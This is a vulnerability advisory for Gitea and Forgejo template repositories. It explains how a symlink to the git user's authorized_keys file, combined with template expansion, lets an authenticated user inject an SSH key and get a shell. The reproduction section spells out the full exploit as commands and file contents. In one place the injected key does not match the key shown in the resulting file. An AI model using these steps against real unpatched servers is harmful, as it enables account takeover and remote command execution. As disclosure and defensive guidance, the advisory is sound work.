Arbitrary template expansion vulnerability in Gitea and Forgejo

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

Summary

While checking Forgejo's and Gitea's source code to better understand how templating is performed, I discovered a vulnerability that allows an authenticated user to create a malicious template repository that can be used to process arbitrary files on the filesystem.

When creating a repository based on the malicious template's Git content, the template will be able to expand arbitrary files on the filesystem.

Knowing the path of the git user's home directory (which defaults to /data/git in the official docker image), an attacker can expand the git user's .ssh/authorized_keys file in order to inject a key without the command parameter, that can be used to execute arbitrary commands or an interactive shell.

Technical details

Affected versions: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Affected component: Template repositories

Root cause: Symbolic link dereference when reading and writing template files contents

Exploit flow

1. Attacker authenticates as a legitimate user

2. Attacker creates a malicious template repository containing a symbolic link to the guessed git user's .ssh/authorized_keys file and a .forgejo/template file that references the symbolic link

3. Attacker adds an ssh public key to his account with a custom comment ending with ${REPO_DESCRIPTION}

4. Attacker creates a repository referencing the malicious template repository with Git content templating enabled and a description containing a newline followed by another ssh public key

5. Gitea/Forgejo templates reads and templates the authorized_keys symlink, causing the previously set public key's comment to be expanded to an arbitrary entry corresponding to the attacker's repo description, without the command parameter

6. Attacker logs in interactively as the git user, using the injected key

It is also possible for the attacker to corrupt configuration file, SQLite database or cause denial of service by reading huge files.

Mitigation

• Disable registration for untrusted users
• Disable repo-creation for untrusted users

Reproduction

1. Install and configure a vulnerable version of Gitea/Forgejo

2. Register or create an account for the attacker using the administrator account

3. Login using the attacker account

4. Generate two different SSH keys: one for Git and one for interactive SSH

ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''

5. Add the ~/.ssh/attacker-git.pub file's contents as an authorized ssh-key using the Gitea/Forgejo UI

The key comment should be present and look like this:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

The git user's .ssh/authorized_keys now looks like this:

# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

5. Create a malicious template repository using the Gitea/Forgejo UI

6. Clone the template repository and add the malicious symlink and template configuration

# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push

7. Create a new repository referencing the malicious template repository with Git content templating enabled and a description containing a newline followed by the ~/.ssh/attacker-ssh.pub file's contents

The repo description should look like this:

replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

The replaced on the first line is not required, but you need to ensure the newline is still there regardless. The attacker@machine comment at the end of the line is also optional.

The resulting git user's .ssh/authorized_keys will look like this:

# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine

8. Connect using the ~/.ssh/attacker-ssh key and the ssh client

ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

References

• Gitea release notes
• Gitea pull request
• Forgejo 13.0.2 release notes
• Forgejo 11.0.7 release notes
• Forgejo patch